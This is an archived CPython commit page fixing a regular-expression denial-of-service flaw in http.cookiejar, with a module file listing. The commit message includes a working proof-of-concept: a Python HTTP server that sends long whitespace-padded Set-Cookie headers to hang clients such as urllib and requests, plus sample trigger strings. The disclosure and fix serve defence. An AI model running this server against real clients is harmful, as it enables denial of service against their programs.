Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC, committed by GitHub on 22 November 2019, 14:42:06 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent c3cd0de
Tip revision: a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: a1e1be4
File | Mode | Size |
---|---|---|
_blake2 | ||
_ctypes | ||
_decimal | ||
_io | ||
_multiprocessing | ||
_sha3 | ||
_sqlite | ||
_ssl | ||
_xxtestfuzz | ||
cjkcodecs | ||
clinic | ||
expat | ||
README | -rw-r--r-- | 112 bytes |
Setup | -rw-r--r-- | 14.4 KB |
_abc.c | -rw-r--r-- | 21.8 KB |
_asynciomodule.c | -rw-r--r-- | 85.8 KB |
_bisectmodule.c | -rw-r--r-- | 8.0 KB |
_bz2module.c | -rw-r--r-- | 23.8 KB |
_codecsmodule.c | -rw-r--r-- | 32.3 KB |
_collectionsmodule.c | -rw-r--r-- | 78.4 KB |
_contextvarsmodule.c | -rw-r--r-- | 1.9 KB |
_cryptmodule.c | -rw-r--r-- | 1.5 KB |
_csv.c | -rw-r--r-- | 49.6 KB |
_curses_panel.c | -rw-r--r-- | 17.1 KB |
_cursesmodule.c | -rw-r--r-- | 126.7 KB |
_datetimemodule.c | -rw-r--r-- | 214.5 KB |
_dbmmodule.c | -rw-r--r-- | 13.8 KB |
_elementtree.c | -rw-r--r-- | 125.5 KB |
_functoolsmodule.c | -rw-r--r-- | 43.4 KB |
_gdbmmodule.c | -rw-r--r-- | 19.4 KB |
_hashopenssl.c | -rw-r--r-- | 28.6 KB |
_heapqmodule.c | -rw-r--r-- | 21.5 KB |
_json.c | -rw-r--r-- | 60.3 KB |
_localemodule.c | -rw-r--r-- | 19.3 KB |
_lsprof.c | -rw-r--r-- | 25.8 KB |
_lzmamodule.c | -rw-r--r-- | 46.8 KB |
_math.c | -rw-r--r-- | 7.3 KB |
_math.h | -rw-r--r-- | 1007 bytes |
_opcode.c | -rw-r--r-- | 2.1 KB |
_operator.c | -rw-r--r-- | 48.6 KB |
_pickle.c | -rw-r--r-- | 228.2 KB |
_posixsubprocess.c | -rw-r--r-- | 26.5 KB |
_queuemodule.c | -rw-r--r-- | 11.9 KB |
_randommodule.c | -rw-r--r-- | 17.7 KB |
_scproxy.c | -rw-r--r-- | 6.0 KB |
_sre.c | -rw-r--r-- | 75.9 KB |
_ssl.c | -rw-r--r-- | 188.6 KB |
_ssl_data.h | -rw-r--r-- | 67.9 KB |
_stat.c | -rw-r--r-- | 15.8 KB |
_statisticsmodule.c | -rw-r--r-- | 4.8 KB |
_struct.c | -rw-r--r-- | 65.0 KB |
_testbuffer.c | -rw-r--r-- | 82.2 KB |
_testcapimodule.c | -rw-r--r-- | 183.0 KB |
_testimportmultiple.c | -rw-r--r-- | 1.1 KB |
_testinternalcapi.c | -rw-r--r-- | 819 bytes |
_testmultiphase.c | -rw-r--r-- | 17.7 KB |
_threadmodule.c | -rw-r--r-- | 48.6 KB |
_tkinter.c | -rw-r--r-- | 91.4 KB |
_tracemalloc.c | -rw-r--r-- | 43.4 KB |
_uuidmodule.c | -rw-r--r-- | 1.8 KB |
_weakref.c | -rw-r--r-- | 4.5 KB |
_winapi.c | -rw-r--r-- | 59.3 KB |
_xxsubinterpretersmodule.c | -rw-r--r-- | 64.9 KB |
addrinfo.h | -rw-r--r-- | 5.9 KB |
arraymodule.c | -rw-r--r-- | 88.2 KB |
atexitmodule.c | -rw-r--r-- | 8.9 KB |
audioop.c | -rw-r--r-- | 57.2 KB |
binascii.c | -rw-r--r-- | 53.8 KB |
cmathmodule.c | -rw-r--r-- | 42.3 KB |
config.c.in | -rw-r--r-- | 1.6 KB |
errnomodule.c | -rw-r--r-- | 28.1 KB |
faulthandler.c | -rw-r--r-- | 39.0 KB |
fcntlmodule.c | -rw-r--r-- | 19.9 KB |
gc_weakref.txt | -rw-r--r-- | 11.2 KB |
gcmodule.c | -rw-r--r-- | 64.3 KB |
getaddrinfo.c | -rw-r--r-- | 18.4 KB |
getbuildinfo.c | -rw-r--r-- | 1.3 KB |
getnameinfo.c | -rw-r--r-- | 6.2 KB |
getpath.c | -rw-r--r-- | 40.5 KB |
grpmodule.c | -rw-r--r-- | 8.3 KB |
hashlib.h | -rw-r--r-- | 2.1 KB |
hashtable.c | -rw-r--r-- | 14.1 KB |
hashtable.h | -rw-r--r-- | 6.2 KB |
itertoolsmodule.c | -rw-r--r-- | 148.4 KB |
ld_so_aix.in | -rw-r--r-- | 6.1 KB |
main.c | -rw-r--r-- | 17.1 KB |
makesetup | -rwxr-xr-x | 7.7 KB |
makexp_aix | -rwxr-xr-x | 3.2 KB |
mathmodule.c | -rw-r--r-- | 98.8 KB |
md5module.c | -rw-r--r-- | 15.0 KB |
mmapmodule.c | -rw-r--r-- | 46.7 KB |
nismodule.c | -rw-r--r-- | 11.7 KB |
ossaudiodev.c | -rw-r--r-- | 36.1 KB |
overlapped.c | -rw-r--r-- | 51.7 KB |
parsermodule.c | -rw-r--r-- | 40.5 KB |
posixmodule.c | -rw-r--r-- | 378.3 KB |
posixmodule.h | -rw-r--r-- | 837 bytes |
pwdmodule.c | -rw-r--r-- | 8.1 KB |
pyexpat.c | -rw-r--r-- | 57.3 KB |
readline.c | -rw-r--r-- | 37.3 KB |
resource.c | -rw-r--r-- | 12.4 KB |
rotatingtree.c | -rw-r--r-- | 3.4 KB |
rotatingtree.h | -rw-r--r-- | 924 bytes |
selectmodule.c | -rw-r--r-- | 76.7 KB |
sha1module.c | -rw-r--r-- | 14.1 KB |
sha256module.c | -rw-r--r-- | 22.2 KB |
sha512module.c | -rw-r--r-- | 27.5 KB |
signalmodule.c | -rw-r--r-- | 44.9 KB |
socketmodule.c | -rw-r--r-- | 240.2 KB |
socketmodule.h | -rw-r--r-- | 7.3 KB |
spwdmodule.c | -rw-r--r-- | 5.9 KB |
sre.h | -rw-r--r-- | 2.8 KB |
sre_constants.h | -rw-r--r-- | 2.8 KB |
sre_lib.h | -rw-r--r-- | 52.2 KB |
symtablemodule.c | -rw-r--r-- | 3.2 KB |
syslogmodule.c | -rw-r--r-- | 9.4 KB |
termios.c | -rw-r--r-- | 20.4 KB |
testcapi_long.h | -rw-r--r-- | 6.8 KB |
timemodule.c | -rw-r--r-- | 51.8 KB |
tkappinit.c | -rw-r--r-- | 4.7 KB |
tkinter.h | -rw-r--r-- | 881 bytes |
unicodedata.c | -rw-r--r-- | 43.8 KB |
unicodedata_db.h | -rw-r--r-- | 524.3 KB |
unicodename_db.h | -rw-r--r-- | 2.1 MB |
winreparse.h | -rw-r--r-- | 1.6 KB |
xxlimited.c | -rw-r--r-- | 7.0 KB |
xxmodule.c | -rw-r--r-- | 12.6 KB |
xxsubtype.c | -rw-r--r-- | 10.8 KB |
zlibmodule.c | -rw-r--r-- | 41.6 KB |
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...